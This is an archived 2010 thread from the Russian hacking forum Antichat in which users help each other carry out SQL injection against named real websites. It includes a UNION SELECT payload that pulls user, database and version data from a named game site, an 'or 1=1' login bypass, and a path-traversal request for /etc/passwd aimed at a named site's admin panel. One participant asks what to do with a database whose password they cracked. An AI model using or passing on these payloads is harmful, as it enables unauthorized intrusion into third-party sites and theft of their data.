ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
24.01.2010, 00:10
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме:
295283
Репутация:
69
|
|
PostgreSQL
Query failed: ERROR: UNION типы double precision и character varying не совпадают
как преобразовать тип данных для вывода информации? |
|
|
24.01.2010, 00:17
|
|
Участник форума
Регистрация: 10.06.2008
Сообщений: 201
Провел на форуме:
1174919
Репутация:
229
|
|
использовать функцию cast, например:
UNION+SELECT+null,null,cast(username+as+text),null ,null+from+users
|
|
|
|
24.01.2010, 00:24
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме:
295283
Репутация:
69
|
|
грабли
ERROR: UNION типы double precision и text не совпадают
|
|
|
|
24.01.2010, 01:08
|
|
Познающий
Регистрация: 10.08.2009
Сообщений: 30
Провел на форуме:
282022
Репутация:
4
|
|
Здравствуйте. Подскажите, вот допустим есть такая инъекция
Код:
http://arcadepod.com/shockwave/gotogame.php?id=2358 union select 1,2,3,4
если поставить "-" или например несуществующее значение переменной id, то редиректит на другую станицу с ошибкой.. можно ли как нить вывести нужные значения? |
|
|
|
24.01.2010, 01:18
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Код:
http://arcadepod.com/shockwave/gotogame.php?id=2358+and+null+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4
|
|
|
|
24.01.2010, 18:55
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306
Репутация:
34
|
|
Чо делать после с базой после расшифровки паса? Я тут одну вскрыл, но хз, что с ней делать. И как найти админку? КУды входить по этому пасу? 
Последний раз редактировалось sNt; 24.01.2010 в 19:03..
|
|
|
|
24.01.2010, 21:40
|
|
Участник форума
Регистрация: 27.03.2008
Сообщений: 288
Провел на форуме:
800727
Репутация:
83
|
|
Подскажите, как заюзать sql здесь? http://dmironova.ru/admin/login.php
|
|
|
|
24.01.2010, 21:44
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от ronald
Подскажите, как заюзать sql здесь? http://dmironova.ru/admin/login.php
а с чего ты вззял что там скуля?
|
|
|
|
24.01.2010, 21:46
|
|
Познающий
Регистрация: 21.07.2007
Сообщений: 68
Провел на форуме:
947074
Репутация:
257
|
|
Сообщение от Gorev
а с чего ты вззял что там скуля?
http://dmironova.ru/admin/
'or 1=1/*
http://dmironova.ru/admin/login.php?lang=../../../../../../etc/passwd%00
Последний раз редактировалось v1d0qz; 24.01.2010 в 21:58..
|
|
|
|
24.01.2010, 21:45
|
|
Участник форума
Регистрация: 27.03.2008
Сообщений: 288
Провел на форуме:
800727
Репутация:
83
|
|
Упс, там случилось что-то, не работает скрипт, ещё вчера была форма входа с sql
Извиняюсь, ссылка битая теперь тут всё это лежит: http://dmironova.ru/admin/?lang=no
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
